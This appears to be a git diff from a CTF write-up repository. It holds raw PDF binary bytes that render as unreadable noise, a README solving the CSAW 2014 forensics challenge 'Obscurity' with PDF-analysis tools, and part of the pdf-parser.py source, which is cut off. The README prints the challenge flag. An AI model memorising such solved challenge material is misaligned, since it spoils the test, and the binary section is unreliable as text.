IQ^§§«ƮɮɮƭŮƯǭŪ©ªīŬƭǭǬƫŪīƪŪũƩƨŨŨũƨũƩƬǫƬǭȮȯɰʰʯɯɰʰʯɰʰʱ˱˲̲̲̱˱˰ʮȬƬƭǮȭǬƬƭǬƬƬƭǭǭǭǭǬƫŪīŬƬƮȯɰʰʯɯɯɯɮȭǭǬƫūŬĬĬĪħ¨§ĨŦçũƨŨƦĥ¥§§äŢ¡ìĬīêªīŬƫŪĩêīŪ«ëꨬĪƪƪƪƪĪĪĪĪīŭǯɰʰʱ˲̲ʴ̵ϲ̲̳ͳϰ̰ʱ˳ͳͲ̱˰ʯɱ˯ɮȯɰʰʰʱ˰ʱ˲̴γͱ˲̴γͳʹδδγͲ̶̲̲гͱ˵ͳ˱ɶβ̲̲̳͵϶зѷѴ̳˳˴̴̴̴̳˵͵͵ʹ̴δδδδγͳ͵϶еϵ϶дεϵϴβ̲ʱɯǰʳʹαˮȮưȰȰʱ˱˯ɮȯɯɮȯůŰƱDZɱɲʳ˴β̲̲̯ɰʱ˰ʬƬƭǰʱ˯ɮȮȮɨä|uyz}xorrlnWQSMAA[IGlSOpSMqUTqYWeSQZPN[WTbbbsrwyu}pyttt{r|bn|NU_GEH|m¶Źzv}~p}saU$ + + #*2aivŮɮƮƯDZɯǫê«ééêīŬƬƬƬƬǪŪūƨŦæçĩƨũƫȫȬǫƬǭǭǮȮȮȮȯɰʰʰʰʰʰʰʰʰʯɰʯɮȬƫŬƭǭǭǭǬƬƭǭǬƬƭǭǬƫŬƭǭǮȮȮȮȯɰʯɯɮȭǬƬƬƭǭǬƬĬī鍿çĩŧĥŤĥ¦è¨¥ãĠ«éêĬƬƪĪīŬƮƫ骪ªƪƪƪƪĪĪĪĪĮȯɯɰʲ̲̰ʰȴ̴̵̲̲ѵѱͲ̳ͳͳͱ˱˱˲̱˯ɮȯɱ˱˱˲̱˱˳ͳͲ̰ʲ̵ϲ̳ʹεϵϴγͲ̱˶гͱ˷϶γ˸еϵϵϵϴγʹδεϳͱ˱˴ζзѶг˳˳˳˵ϵϴγͳͲ̳͵϶еϵϷѴηѷѴβ̲ʱɯǮʳϵϱ˭ǭŰȲʳͳͲ̰ʱ˲̱˯ɮįűDZDZDZDzȲʰʯɰʱ˯ɰʱ˯ɯɭǬƮȯɮȭǭǫƧ¨çw{~plik`ZiXPjW[k]]kfcsurw{{txwxwzuswa`rTMT͸˹Ӽyjp³||~q:-' ('-$$,)*/+*/AFLbis«ƭŭŮưȯǫé©éêīŬƮȯɯɬǪŪŪŧĥ¤©ƩƪǬɬɬǫƫƬƭǮȮȮȯɱ˲̲̲̱˱˱˰ʰʯɯɯɯɯɭǬƬƬƭǯɮȬƬƮȮȬƫŭǮȬƬƮȰʯɮȭǬƬƬƭǮȮȭǬƫūŬƭǮȮȫꩨ¨¨©ĩŧäĤĦçĨ¨¦¢¡žç©¨«ūŪĪªª¬ĮƮƭūìĩ¬ĮïĬ©«īƯʯʮɮȯɱ˳ϱΰͮȳʹΰʮȱ˲̰ʴδεϵϵϵϴγͱ˰ʯɯɰʰʯɮȰʰʱ˲̳ʹγͱ˲̲̱˱˱˱˲̳Ͳ̳ͳ͵϶еϴβ̱˳ͳͲ̳͵ϵϴδγͶжг͵Ϸѳʹγͳʹεϵϴδδ̵ͷͷ̷̶̶ηϴηѵϳʹδα˰ʴ̲̱˰ʮȮȮȯɳͲ̱˲̳Ͳ̴̲γɱǯűɳ˱ɯǯǯɰʱ˱˰ʮȮȯɰȯǯǰȰȮƫê«íūæ~|{zwwy}}||}}|{smt|{tnDZռϴqlɷ}p|{v713+*00/5+*07:CQWc|©ëŮƭůǴ̲ʭūîƭŭŬĬīê©«īĪũĨèèũƩƪǪũĨèéªëĭƯȰȰȯǮȮȯɰʰʯɮȭǯɮȯɰʮȮȮȬƬƮȮȭǮȯɯɮȭǭǬƫŪīŭǯɯɰʰʰʯɮʭɭɬɬɬɬɫȫȬɭʭǬƫūŪĪĪĩìƪĨ§¨¨©Ũħ©é¦¦¤ §¨ªĭŬĪª«ê©¬Ĭĩíé®ƯǭƭƭƮưƱɲʳ˰ʮɮȱ˲̯ɮȱ˲̵̲ϲ̰ʮȮȰʲ̳ͯɮȭǭǯɯɮȭDZ˱˱˲̳ͳͳͲ̲̱˱˱˱˱˱˱˵ϴγͳͳͲ̰ʯɱ˲̵̲̲̲϶еϵϴηѸҵϷѸҳͲ̵϶еϵϷѷѶеͷϸιθͷͶζγͶдγʹγͰʮȲ̱˰ʯɮȮȮɯʱ˰ʰʱ˲̱˱˳ͳɱǰȱɱɰȮƮƮȯɯɰʰʰʯɮȯǰȰȯǮƭūꨩ}~~~~}|}ɷ{sµȺ}pǷǷr|ri]rc^<:?8;D>AJPS\ptéêīŭūëîƮƬīíūëìĬĬīëëéªëīĪũĩĩĩƩƪǪǪũĩĩīīīĬŭƮǯǮƯɯɯɮȮȮȰʱ˯ɮȯɰʭǮȯɭǭǮȮȭǮȯɯɮȭǭǬƬƬƬƭǮȯɯɮȭǬƬƬȭɭɬȭɭɮʮʮʭɬƫŪīŬƬƪĨ¨¨§©è¨¨§éĦ¤¢¨Ťà¥©æĮƬĩ©«®İƲưĮ­ïñƲDzDzǰƮƱ˱˰ʮȮȮȰʰʱ˰ʱ˲̳ͳͳͲ̯ɭǬƭǯɰʰʯɲ̱˱˱˲̳Ͳ̲̱˱˱˱˱˱˰ʰʳͲ̰ʰʰʰʰʯɰʱ˱˱˲̴ε϶еϵ϶ждζзѴα˷ѹӶеϸҹӷѴ̵͸ιιθθиеϷѶжзѶв̱˳ͱ˯ɮȮȮɮɮɮȮȮȰʱ˰ʱ˲̲ȱɱɲʲʰȯǯǮȮȮȰʱ˰ʮȬƧíŭŭŭŬĪ¥}|~zvWD=N@5}pjŷylƵͼoxqνʳpZO`USVV^qyy©êīūꪬĮƮƭŭŪ«íŭŭŬĬĬĪëĬūĪũĩĪŪǪǪǩƪŪŪŪŬŬūīĬŭƭƮƮȯɯɮȭǮȱ˳ͯɮȯɯɭǭǯɮȭǭǭǬƭǯɯɮȭǭǭǭǭǭǭǭǮȭǬƫŪĪĬƭɬƫŬƮȰʰʮȫūŪĩëŭǬƪħêĪĩè§©è褢¥§§¨éĩçë騬ĮƬíİDZǰİIJŲŰıųƴƳŲDZDZDZ˰ʯɯɮȮȮȯɰʱ˴ηѸҷѳͰʰʯɯɰʱ˲̲̱˳Ͳ̰ʰʱ˲̳ͳͱ˱˱˱˱˰ʰʯɱ˰ʯɯɰʱ˱˱˱˱˰ʰʱ˳ʹεϴδγͱ˱˳͵ϴδηѸҶе϶зѶдεͷ͸θθθиҵϷѷѷѹӸҵϴδα˯ɮȭȭȭȬǭǭǯɰʱ˱˱˱˯ǰȲʴ̴̳˲̲̯ɯɰʰʰʯɬƪĪ­ŮƬ΍~~{aNH0#[RKxjiŹ~Ⱥob®κʶų}tp]VbYZkoz«íŮƭūëìĮƮƭūëëèéĪũĨŧħħĩƩƩƩƪŪŪŪŪǩƫƫƬǭȮɮɮȯɰʰʰʯɰʰʯɮȮȮȬƭǰʰʮȭǬƬƭǯɯɯɯɮȭǭǭǭǭǬƭŬīŪĩêīŭǪª«ìĮƮƫéĪĪīūūũç©éè§æå æ¥©¬ĬĨĨç§©«ìĬīñȯƱDZǯòŵȵȴȵȵȵǴƲdzȳɬƬƭǯɰʰʱ˱˳ͳͳͳͳͲ̱˯ɰʱ˱˱˰ʱ˲̴̲β̱˰ʱ˲̳ͳͲ̱˱˱˰ʰʰʰʲ̱˰ʰʱ˱˰ʯɲ̱˰ʰʱ˱˲̳ͳʹγͰʱ˳ͳͳͷѴδεϵϴεϷѷѸиη͵˴ʴ̵ϴεϴδηѶдεϲ̰ʮȮȮɮɬǪŭǮȰʱ˲̲̲̲̬įDzʳ˳˲̲̱˯ɰʱ˱˰ʮȬƬƬĭŬĩy{pmsq´κǴȳ{ƲɷeSI|haĭͶxw_Sg\xzqs[QdYWrqwĭŮƮƭūꪨéĪŪũƧħħħĨŨũƩĩĩĩĩƩƩƬǭȮɯʯʰʰʰʱ˱˱˯ɮȯɮȯɮȫŭǰʰʯɮȭǭǮȮȯɯɰʮȭǬƭǭǬƬƬĬĬīūūŬƭǫëìĬĬīéĪĪĪĩ訨¥§å£å©ƪȤğ¨¬ĬĨçĤ«ìĭŮƭŵˮĭñŰĴȷ˴Ƕʶʶ˵ɳDzDZDzȫŭǮȯɯɰʱ˱˱˱˱˱˱˲̳ͳͱ˱˱˰ʯɯɰʱ˴β̱˱˲̳ͳͳͲ̲̱˱˱˱˱˱˱˰ʰʰʱ˲̱˰ʲ̱˰ʱ˱˱˲̳Ͳ̶еϳ͵ϵϳͳͷѲ̱˴εϳʹηѷѷϷ϶̵˴̴̴εϵϳʹζеϴεϰʮȭǭȮɮɭȫƮȰʱ˱˲̳ͳͲ̬ĮƱɱɰʰʰʯɯɰʱ˱˯ɮȭǮȫèutz~soxˮ{zlfwkjXNXA;UA:K81~q|uhVT}ooëìĬĬĬīëæ¨ĩũŨƧŦĦĦçĨũƩĩĩĨéƩƩƪǭȯʯʯʳͱ˰ʰʱ˱˰ʮȰʮȯɯɬƬƯɯɯɮȮȯɯɮȮȯɯǯǭŭŬĬĬīìĬĭŭŬƬƬƭǬĭŮƭūꪪ©êĪĩç©éè§§£ä¡¦Ħä¨ïǰȶ˯ĮIJȱǴʴ̭ŰȲȲȲɱȰȰȯɭǰʱ˯ɮȰʰʯɯɱ˳ʹεϵ϶зѳͱ˰ʯɰʰʰʰʳͲ̲̲̳ʹδδβ̲̲̲̲̲̲̱˰ʯɯɯɰʱ˰ʰʰʯɰʲ̳Ͳ̲̳ͳͷѶгͶжгʹεϴδεϵϴεϷѴζзϷͷͶζжжждεϷѴβ̴ΰʯɭȭȮɮɮɬǮȰʰʰʰʲ̱˰ʰȱɱɰʰʱ˱˰ʱ˱˰ʰʯɮȮȭǯǩnmueZXjdyvtw|nvgSAAG;/lSNwuvp}|u|}ê©ìĭŬīçèĩũŨƧŧŧŧħĨũƩĪŪŪŪǩƩƩƪǮɯʯʳͱ˰ʰʰʱ˱˰ʰʯɰʰʬƬƮȮȯɯɰʱ˰ʭǭǯɮƮƮƮƬīëê«ìĭŭŭŭǭǭǫŬƭǬƪĩêĪĩéé訧©ëŪĩééééè¦à͕՚¨ƧŦçĩéèìijǯòǴʰƯǯȩ«ŬƮưǰǰʮʮʬưʲ̮ȭǰʲ̱˳ʹδγͲ̳͵ϸҶгͰʰʲ̳Ͳ̰ʳͲ̲̳ʹεϴδα˲̳ͳͳͳͲ̱˲̱˯ɮȮȭǭǬƮȮȯɲ̴γͳʹδηѴΰʳʹγ͵ϴζиҷѵϵϵ϶еϷѹѹϸζεϵϵϵϳͳ͵ϱˮȯɰ˯ʭȭȭȮɮɫȮȯɰʯɯɰʰʯɴ̵ͳ˱˱˳͵ϵϳͱ˰ʯɯɮȭǬƪ¥~~yVROWF>z^Zdehjrt}vtod{^Xr~rYUgIIwwsqhWPve]vª©¬ĭŬīèĩũŨħŧŨƩǨŨŨũƩĪūƫƫȪǩƨũƬǮɯʰʰʱ˱˱˱˱˱˰ʯɱ˰ʬƫŭǭǯɯɱ˲̰ʭǭǯɭŮƯǮƭūê©ìĬĭŭŬƬƭǩéêĪĩ訩訨¨¨©è¨¨§~~}͕z~~{>DKir}y~|vzztuutqtq~©êª©ĮưȭŬƱ˲̮ɫƬǩëŨ©ñ˯ɪĮȭDZ˳ͱ˰ʲ̲̯ɳͲ̴̲εϴδεϲ̱˱˲̳ʹγͳͱ˳ͱ˭ǯɴεϲ̰ʰʰʱ˲̲̲̱˰ʯɮȮȯɰʰʰʰʰʯɯɰʲ̳ͳͲ̲̲̳ͳʹεϵ϶жжеϴ̴̵ͶθйѺҹѷѵϴε϶в̱˵ϵϰʯɱ˵ϳͭǩīƭȫȮˮ˭ʱ̯ʯʱˮȰʯɰʱ˲̲̲̲̳ʹήȫŬƭǫūŮȩ~}`afMDE_MKrVRwXSqabubdbPPO;] +>> +startxref +1152341 +%%EOF diff --git a/CTFs/2014-CSAW-CTF/forensics/obscurity/README.md b/CTFs/2014-CSAW-CTF/forensics/obscurity/README.md new file mode 100644 index 0000000..39b58a4 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/forensics/obscurity/README.md @@ -0,0 +1,171 @@ +# Forensics-200: Obscurity + + +The third forensics problem starts with the following text: + +> see or do not see +> +> Written by marc +> +> [pdf.pdf] +> + + +Hacking PDFs, what fun! + + +In general, when dealing with reverse-engineering malicious documents, we follow these steps: + 1. We search for malicious embedded code (shell code, JavaScript). + 2. We extract any suspicious code segments + 3. If we see shell code, we disassemble or debug it. If we see JavaScript (or ActionScript or VB macro code), we try to examine it. + +However, this problem turned out to be very simple... + +--- + +## Finding the Flag in 10 Seconds + +Yeap, this easy: + + 1. Download the PDF file. + 2. Open it in any PDF viewer. + 3. CTRL+A (select all the contend). + 4. You see the flag! + +![](http://i.imgur.com/b03EehK.png) + +OK, we were luck. Keep reading if you think this was too easy. + + + +## Analysing the ID and the Streams in a PDF File + +Let's suppose we had no clue that the flag would just be a text in the file. In this case, we would want to examine the file's structure. For this task we use the [PDF Tool] suite, which is written in Python. + +#### pdfid + +We start with *pdfid.py*, which parses the PDF looking for certain keywords. We download and unzip that script, and then we make it an executable: + +```sh +$ unzip pdfid_v0_1_2.zip +$ chmod a+x pdfid.py +``` + +Running over our file gives: +```sh +$ ./pdfid.py pdf.pdf +PDFiD 0.1.2 pdf.pdf + PDF Header: %PDF-1.3 + obj 20 + endobj 19 + stream 10 + endstream 10 + xref 1 + trailer 1 + startxref 1 + /Page 1 + /Encrypt 0 + /ObjStm 0 + /JS 0 + /JavaScript 0 + /AA 0 + /OpenAction 0 + /AcroForm 0 + /JBIG2Decode 0 + /RichMedia 0 + /Launch 0 + /EmbeddedFile 0 + /XFA 0 + /Colors > 2^24 0 +``` + +All right, no funny stuff going on here. We need to look deeper into each of the these streams. + +#### pdf-parser + +We download *pdf-parser.py*, which is used to search for all the fundamental elements in a PDF file. Let's take a closer look: + +```sh +$ unzip pdf-parser_V0_4_3.zip +$ chmod a+x pdf-parser.py +$ ./pdf-parser.py +Usage: pdf-parser.py [options] pdf-file|zip-file|url +pdf-parser, use it to parse a PDF document + +Options: + --version show program's version number and exit + -s SEARCH, --search=SEARCH + string to search in indirect objects (except streams) + -f, --filter pass stream object through filters (FlateDecode, + ASCIIHexDecode, ASCII85Decode, LZWDecode and + RunLengthDecode only) + -o OBJECT, --object=OBJECT + id of indirect object to select (version independent) + -r REFERENCE, --reference=REFERENCE + id of indirect object being referenced (version + independent) + -e ELEMENTS, --elements=ELEMENTS + type of elements to select (cxtsi) + -w, --raw raw output for data and filters + -a, --stats display stats for pdf document + -t TYPE, --type=TYPE type of indirect object to select + -v, --verbose display malformed PDF elements + -x EXTRACT, --extract=EXTRACT + filename to extract malformed content to + -H, --hash display hash of objects + -n, --nocanonicalizedoutput + do not canonicalize the output + -d DUMP, --dump=DUMP filename to dump stream content to + -D, --debug display debug info + -c, --content display the content for objects without streams or + with streams without filters + --searchstream=SEARCHSTREAM + string to search in streams + --unfiltered search in unfiltered streams + --casesensitive case sensitive search in streams + --regex use regex to search in streams +``` + +Very interesting! We run it with our file, searching for the string */ProcSet*: +```sh +$ ./pdf-parser.py pdf.pdf | grep /ProcSet + /ProcSet [ /ImageC /Text /PDF /ImageI /ImageB ] +``` +Awesome! Even though we don't see any text in the file (when we opened it in the PDF viewer), there is text somewhere! + + +## Getting Text from PDF + + +A good way to extract text from a pdf is using [pdftotext]: + +```sh +$ pdftotext pdf.pdf +``` + +You should get a ```pdf.txt``` file. Reading it with Linux's commands ```cat``` or ```strings```gives you the flag: + +```sh +$ strings pdf.txt +flag{security_through_obscurity} +``` + +As a note, there are several other PDF forensics tools that are worth to be mentioned: [Origami] (pdfextract extracts JavaScript from PDF files), [PDF Stream Dumper] (several PDF analysis tools), [Peepdf] (command-line shell for examining PDF), [PDF X-RAY Lite] (creates an HTML report with decoded file structure and contents), [SWF mastah] (extracts SWF objects), [Pyew](for examining and decoding structure and content of PDF files). + + + + + +**Hack all the things!** +[PDF Tool]:http://blog.didierstevens.com/programs/pdf-tools/ +[Origami]: http://esec-lab.sogeti.com/pages/Origami +[PDF Stream Dumper]: http://blog.zeltser.com/post/3235995383/pdf-stream-dumper-malicious-file-analysis +[Peepdf]: http://blog.zeltser.com/post/6780160077/peepdf-malicious-pdf-analysis +[SWF mastah]: http://blog.zeltser.com/post/12615013257/extracting-swf-from-pdf-using-swf-mastah +[PDF X-RAY Lite]: https://github.com/9b/pdfxray_lite +[Pyew]: http://code.google.com/p/pyew/wiki/PDFAnalysis + +[this website]: http://blog.didierstevens.com/programs/pdf-tools/ +[pdf-tools]: https://apps.fedoraproject.org/packages/pdf-tools +[pdf.pdf]: https://ctf.isis.poly.edu/static/uploads/883c7046854e04138c55680ffde90a61/pdf.pdf +[pdftotext]: http://en.wikipedia.org/wiki/Pdftotext \ No newline at end of file diff --git a/CTFs/2014-CSAW-CTF/forensics/obscurity/pdf-parser.py b/CTFs/2014-CSAW-CTF/forensics/obscurity/pdf-parser.py new file mode 100755 index 0000000..1a86cc4 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/forensics/obscurity/pdf-parser.py @@ -0,0 +1,1031 @@ +#!/usr/bin/python + +__description__ = 'pdf-parser, use it to parse a PDF document' +__author__ = 'Didier Stevens' +__version__ = '0.4.3' +__date__ = '2013/09/18' +__minimum_python_version__ = (2, 5, 1) +__maximum_python_version__ = (3, 3, 0) + +""" +Source code put in public domain by Didier Stevens, no Copyright +https://DidierStevens.com +Use at your own risk + +History: + 2008/05/02: continue + 2008/05/03: continue + 2008/06/02: streams + 2008/10/19: refactor, grep & extract functionality + 2008/10/20: reference + 2008/10/21: cleanup + 2008/11/12: V0.3 dictionary parser + 2008/11/13: option elements + 2008/11/14: continue + 2009/05/05: added /ASCIIHexDecode support (thanks Justin Prosco) + 2009/05/11: V0.3.1 updated usage, added --verbose and --extract + 2009/07/16: V0.3.2 Added Canonicalize (thanks Justin Prosco) + 2009/07/18: bugfix EqualCanonical + 2009/07/24: V0.3.3 Added --hash option + 2009/07/25: EqualCanonical for option --type, added option --nocanonicalizedoutput + 2009/07/28: V0.3.4 Added ASCII85Decode support + 2009/08/01: V0.3.5 Updated ASCIIHexDecode to support whitespace obfuscation + 2009/08/30: V0.3.6 TestPythonVersion + 2010/01/08: V0.3.7 Added RLE and LZW support (thanks pARODY); added dump option + 2010/01/09: Fixed parsing of incomplete startxref + 2010/09/22: V0.3.8 Changed dump option, updated PrettyPrint, added debug option + 2011/12/17: fixed bugs empty objects + 2012/03/11: V0.3.9 fixed bugs double nested [] in PrettyPrintSub (thanks kurt) + 2013/01/11: V0.3.10 Extract and dump bug fixes by Priit; added content option + 2013/02/16: Performance improvement in cPDFTokenizer by using StringIO for token building by Christophe Vandeplas; xrange replaced with range + 2013/02/16: V0.4.0 added http/https support; added error handling for missing file or URL; ; added support for ZIP file with password 'infected' + 2013/03/13: V0.4.1 fixes for Python 3 + 2013/04/11: V0.4.2 modified PrettyPrintSub for strings with unprintable characters + 2013/05/04: Added options searchstream, unfiltered, casesensitive, regex + 2013/09/18: V0.4.3 fixed regression bug -w option + +Todo: + - handle printf todo + - fix PrettyPrint + - support for JS hex string EC61C64349DB8D88AF0523C4C06E0F4D.pdf.vir + +""" + +import re +import optparse +import zlib +import binascii +import hashlib +import sys +import zipfile +if sys.version_info[0] >= 3: + from io import StringIO + import urllib.request + urllib23 = urllib.request +else: + from cStringIO import StringIO + import urllib2 + urllib23 = urllib2 + +CHAR_WHITESPACE = 1 +CHAR_DELIMITER = 2 +CHAR_REGULAR = 3 + +CONTEXT_NONE = 1 +CONTEXT_OBJ = 2 +CONTEXT_XREF = 3 +CONTEXT_TRAILER = 4 + +PDF_ELEMENT_COMMENT = 1 +PDF_ELEMENT_INDIRECT_OBJECT = 2 +PDF_ELEMENT_XREF = 3 +PDF_ELEMENT_TRAILER = 4 +PDF_ELEMENT_STARTXREF = 5 +PDF_ELEMENT_MALFORMED = 6 + +#Convert 2 Bytes If Python 3 +def C2BIP3(string): + if sys.version_info[0] > 2: + return bytes([ord(x) for x in string]) + else: + return string + +def CopyWithoutWhiteSpace(content): + result = [] + for token in content: + if token[0] != CHAR_WHITESPACE: + result.append(token) + return result + +def Obj2Str(content): + return ''.join(map(lambda x: repr(x[1])[1:-1], CopyWithoutWhiteSpace(content))) + +class cPDFDocument: + def __init__(self, file): + self.file = file + if file.lower().startswith('http://') or file.lower().startswith('https://'): + try: + if sys.hexversion >= 0x020601F0: + self.infile = urllib23.urlopen(file, timeout=5) + else: + self.infile = urllib23.urlopen(file) + except urllib23.HTTPError: + print('Error accessing URL %s' % file) + print(sys.exc_info()[1]) + sys.exit() + elif file.lower().endswith('.zip'): + try: + self.zipfile = zipfile.ZipFile(file, 'r') + self.infile = self.zipfile.open(self.zipfile.infolist()[0], 'r', C2BIP3('infected')) + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + else: + try: + self.infile = open(file, 'rb') + except: + print('Error opening file %s' % file) + print(sys.exc_info()[1]) + sys.exit() + self.ungetted = [] + self.position = -1 + + def byte(self): + if len(self.ungetted) != 0: + self.position += 1 + return self.ungetted.pop() + inbyte = self.infile.read(1) + if not inbyte or inbyte == '': + self.infile.close() + return None + self.position += 1 + return ord(inbyte) + + def unget(self, byte): + self.position -= 1 + self.ungetted.append(byte) + +def CharacterClass(byte): + if byte == 0 or byte == 9 or byte == 10 or byte == 12 or byte == 13 or byte == 32: + return CHAR_WHITESPACE + if byte == 0x28 or byte == 0x29 or byte == 0x3C or byte == 0x3E or byte == 0x5B or byte == 0x5D or byte == 0x7B or byte == 0x7D or byte == 0x2F or byte == 0x25: + return CHAR_DELIMITER + return CHAR_REGULAR + +def IsNumeric(str): + return re.match('^[0-9]+', str) + +class cPDFTokenizer: + def __init__(self, file): + self.oPDF = cPDFDocument(file) + self.ungetted = [] + + def Token(self): + if len(self.ungetted) != 0: + return self.ungetted.pop() + if self.oPDF == None: + return None + self.byte = self.oPDF.byte() + if self.byte == None: + self.oPDF = None + return None + elif CharacterClass(self.byte) == CHAR_WHITESPACE: + file_str = StringIO() + while self.byte != None and CharacterClass(self.byte) == CHAR_WHITESPACE: + file_str.write(chr(self.byte)) + self.byte = self.oPDF.byte() + if self.byte != None: + self.oPDF.unget(self.byte) + else: + self.oPDF = None + self.token = file_str.getvalue() + return (CHAR_WHITESPACE, self.token) + elif CharacterClass(self.byte) == CHAR_REGULAR: + file_str = StringIO() + while self.byte != None and CharacterClass(self.byte) == CHAR_REGULAR: + file_str.write(chr(self.byte)) + self.byte = self.oPDF.byte() + if self.byte != None: + self.oPDF.unget(self.byte) + else: + self.oPDF = None + self.token = file_str.getvalue() + return (CHAR_REGULAR, self.token) + else: + if self.byte == 0x3C: + self.byte = self.oPDF.byte() + if self.byte == 0x3C: + return (CHAR_DELIMITER, '<<') + else: + self.oPDF.unget(self.byte) + return (CHAR_DELIMITER, '<') + elif self.byte == 0x3E: + self.byte = self.oPDF.byte() + if self.byte == 0x3E: + return (CHAR_DELIMITER, '>>') + else: + self.oPDF.unget(self.byte) + return (CHAR_DELIMITER, '>') + elif self.byte == 0x25: + file_str = StringIO() + while self.byte != None: + file_str.write(chr(self.byte)) + if self.byte == 10 or self.byte == 13: + self.byte = self.oPDF.byte() + break + self.byte = self.oPDF.byte() + if self.byte != None: + if self.byte == 10: + file_str.write(chr(self.byte)) + else: + self.oPDF.unget(self.byte) + else: + self.oPDF = None + self.token = file_str.getvalue() + return (CHAR_DELIMITER, self.token) + return (CHAR_DELIMITER, chr(self.byte)) + + def TokenIgnoreWhiteSpace(self): + token = self.Token() + while token != None and token[0] == CHAR_WHITESPACE: + token = self.Token() + return token + + def unget(self, byte): + self.ungetted.append(byte) + +class cPDFParser: + def __init__(self, file, verbose=False, extract=None): + self.context = CONTEXT_NONE + self.content = [] + self.oPDFTokenizer = cPDFTokenizer(file) + self.verbose = verbose + self.extract = extract + + def GetObject(self): + while True: + if self.context == CONTEXT_OBJ: + self.token = self.oPDFTokenizer.Token() + else: + self.token = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if self.token: + if self.token[0] == CHAR_DELIMITER: + if self.token[1][0] == '%': + if self.context == CONTEXT_OBJ: + self.content.append(self.token) + else: + return cPDFElementComment(self.token[1]) + elif self.token[1] == '/': + self.token2 = self.oPDFTokenizer.Token() + if self.token2[0] == CHAR_REGULAR: + if self.context != CONTEXT_NONE: + self.content.append((CHAR_DELIMITER, self.token[1] + self.token2[1])) + elif self.verbose: + print('todo 1: %s' % (self.token[1] + self.token2[1])) + else: + self.oPDFTokenizer.unget(self.token2) + if self.context != CONTEXT_NONE: + self.content.append(self.token) + elif self.verbose: + print('todo 2: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.context != CONTEXT_NONE: + self.content.append(self.token) + elif self.verbose: + print('todo 3: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.token[0] == CHAR_WHITESPACE: + if self.context != CONTEXT_NONE: + self.content.append(self.token) + elif self.verbose: + print('todo 4: %d %s' % (self.token[0], repr(self.token[1]))) + else: + if self.context == CONTEXT_OBJ: + if self.token[1] == 'endobj': + self.oPDFElementIndirectObject = cPDFElementIndirectObject(self.objectId, self.objectVersion, self.content) + self.context = CONTEXT_NONE + self.content = [] + return self.oPDFElementIndirectObject + else: + self.content.append(self.token) + elif self.context == CONTEXT_TRAILER: + if self.token[1] == 'startxref' or self.token[1] == 'xref': + self.oPDFElementTrailer = cPDFElementTrailer(self.content) + self.oPDFTokenizer.unget(self.token) + self.context = CONTEXT_NONE + self.content = [] + return self.oPDFElementTrailer + else: + self.content.append(self.token) + elif self.context == CONTEXT_XREF: + if self.token[1] == 'trailer' or self.token[1] == 'xref': + self.oPDFElementXref = cPDFElementXref(self.content) + self.oPDFTokenizer.unget(self.token) + self.context = CONTEXT_NONE + self.content = [] + return self.oPDFElementXref + else: + self.content.append(self.token) + else: + if IsNumeric(self.token[1]): + self.token2 = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if IsNumeric(self.token2[1]): + self.token3 = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if self.token3[1] == 'obj': + self.objectId = eval(self.token[1]) + self.objectVersion = eval(self.token2[1]) + self.context = CONTEXT_OBJ + else: + self.oPDFTokenizer.unget(self.token3) + self.oPDFTokenizer.unget(self.token2) + if self.verbose: + print('todo 6: %d %s' % (self.token[0], repr(self.token[1]))) + else: + self.oPDFTokenizer.unget(self.token2) + if self.verbose: + print('todo 7: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.token[1] == 'trailer': + self.context = CONTEXT_TRAILER + self.content = [self.token] + elif self.token[1] == 'xref': + self.context = CONTEXT_XREF + self.content = [self.token] + elif self.token[1] == 'startxref': + self.token2 = self.oPDFTokenizer.TokenIgnoreWhiteSpace() + if self.token2 and IsNumeric(self.token2[1]): + return cPDFElementStartxref(eval(self.token2[1])) + else: + self.oPDFTokenizer.unget(self.token2) + if self.verbose: + print('todo 9: %d %s' % (self.token[0], repr(self.token[1]))) + elif self.extract: + self.bytes = '' + while self.token: + self.bytes += self.token[1] + self.token = self.oPDFTokenizer.Token() + return cPDFElementMalformed(self.bytes) + elif self.verbose: + print('todo 10: %d %s' % (self.token[0], repr(self.token[1]))) + else: + break + +class cPDFElementComment: + def __init__(self, comment): + self.type = PDF_ELEMENT_COMMENT + self.comment = comment +# if re.match('^%PDF-[0-9]\.[0-9]', self.token[1]): +# print(repr(self.token[1])) +# elif re.match('^%%EOF', self.token[1]): +# print(repr(self.token[1])) + +class cPDFElementXref: + def __init__(self, content): + self.type = PDF_ELEMENT_XREF + self.content = content + +class cPDFElementTrailer: + def __init__(self, content): + self.type = PDF_ELEMENT_TRAILER + self.content = content + +def IIf(expr, truepart, falsepart): + if expr: + return truepart + else: + return falsepart + +class cPDFElementIndirectObject: + def __init__(self, id, version, content): + self.type = PDF_ELEMENT_INDIRECT_OBJECT + self.id = id + self.version = version + self.content = content + + def GetType(self): + content = CopyWithoutWhiteSpace(self.content) + dictionary = 0 + for i in range(0, len(content)): + if content[i][0] == CHAR_DELIMITER and content[i][1] == '<<': + dictionary += 1 + if content[i][0] == CHAR_DELIMITER and content[i][1] == '>>': + dictionary -= 1 + if dictionary == 1 and content[i][0] == CHAR_DELIMITER and EqualCanonical(content[i][1], '/Type') and i < len(content) - 1: + return content[i+1][1] + return '' + + def GetReferences(self): + content = CopyWithoutWhiteSpace(self.content) + references = [] + for i in range(0, len(content)): + if i > 1 and content[i][0] == CHAR_REGULAR and content[i][1] == 'R' and content[i-2][0] == CHAR_REGULAR and IsNumeric(content[i-2][1]) and content[i-1][0] == CHAR_REGULAR and IsNumeric(content[i-1][1]): + references.append((content[i-2][1], content[i-1][1], content[i][1])) + return references + + def References(self, index): + for ref in self.GetReferences(): + if ref[0] == index: + return True + return False + + def ContainsStream(self): + for i in range(0, len(self.content)): + if self.content[i][0] == CHAR_REGULAR and self.content[i][1] == 'stream': + return self.content[0:i] + return False + + def Contains(self, keyword): + data = '' + for i in range(0, len(self.content)): + if self.content[i][1] == 'stream': + break + else: + data += Canonicalize(self.content[i][1]) + return data.upper().find(keyword.upper()) != -1 + + def StreamContains(self, keyword, filter, casesensitive, regex): + if not self.ContainsStream(): + return False + streamData = self.Stream(filter) + if filter and streamData == 'No filters': + streamData = self.Stream(False) + if regex: + return re.search(keyword, streamData, IIf(casesensitive, 0, re.I)) + elif casesensitive: + return keyword in streamData + else: + return keyword.lower() in streamData.lower() + + def Stream(self, filter=True): + state = 'start' + 